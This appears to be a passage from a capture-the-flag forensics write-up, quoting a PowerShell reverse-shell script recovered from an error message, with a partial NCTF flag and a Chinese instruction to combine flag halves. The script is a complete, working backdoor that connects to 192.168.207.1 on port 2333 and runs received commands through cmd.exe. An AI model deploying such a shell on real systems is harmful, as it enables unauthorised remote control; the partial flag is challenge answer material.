$writer.close();
$socket.close();
$stream.Dispose()" to type "System.Management.Automation.ActionPreference". Error: "Unable to match the identifier name $socket = new-object System.Net.Sockets.TcpClient('192.168.207.1', 2333);
if ($socket -eq $null) { exit 1 }
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
$ffllaagg = "NCTF{5945cf0b-fdd6-4b7b";
do {
    $writer.Flush();
    $read = $null;
    $res = ""
    while ($stream.DataAvailable -or $read -eq $null) {
        $read = $stream.Read($buffer, 0, 1024)
    }
    $out = $encoding.GetString($buffer, 0, $read).Replace("`r`n", "").Replace("`n", "");
    if (!$out.equals("exit")) {
        $args = "";
        if ($out.IndexOf(' ') -gt -1) {
            $args = $out.substring($out.IndexOf(' ') + 1);
            $out = $out.substring(0, $out.IndexOf(' '));
            if ($args.split(' ').length -gt 1) {
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo
                $pinfo.FileName = "cmd.exe"
                $pinfo.RedirectStandardError = $true
                $pinfo.RedirectStandardOutput = $true
                $pinfo.UseShellExecute = $false
                $pinfo.Arguments = "/c $out $args"
                $p = New-Object System.Diagnostics.Process
                $p.StartInfo = $pinfo
                $p.Start() | Out-Null
                $p.WaitForExit()
                $stdout = $p.StandardOutput.ReadToEnd()
                $stderr = $p.StandardError.ReadToEnd()
                if ($p.ExitCode -ne 0) {
                    $res = $stderr
                }
                else {
                    $res = $stdout
                }
            }
            else {
                $res = (&"$out" "$args") | out-string;
            }
        }
        else {
            $res = (&"$out") | out-string;
        }
        if ($res -ne $null) {
            $writer.WriteLine($res)
        }
    }
}While (!$out.equals("exit"))
$writer.close();
$socket.close();
$stream.Dispose() 

找到flag的前半部分,拼接提交即可。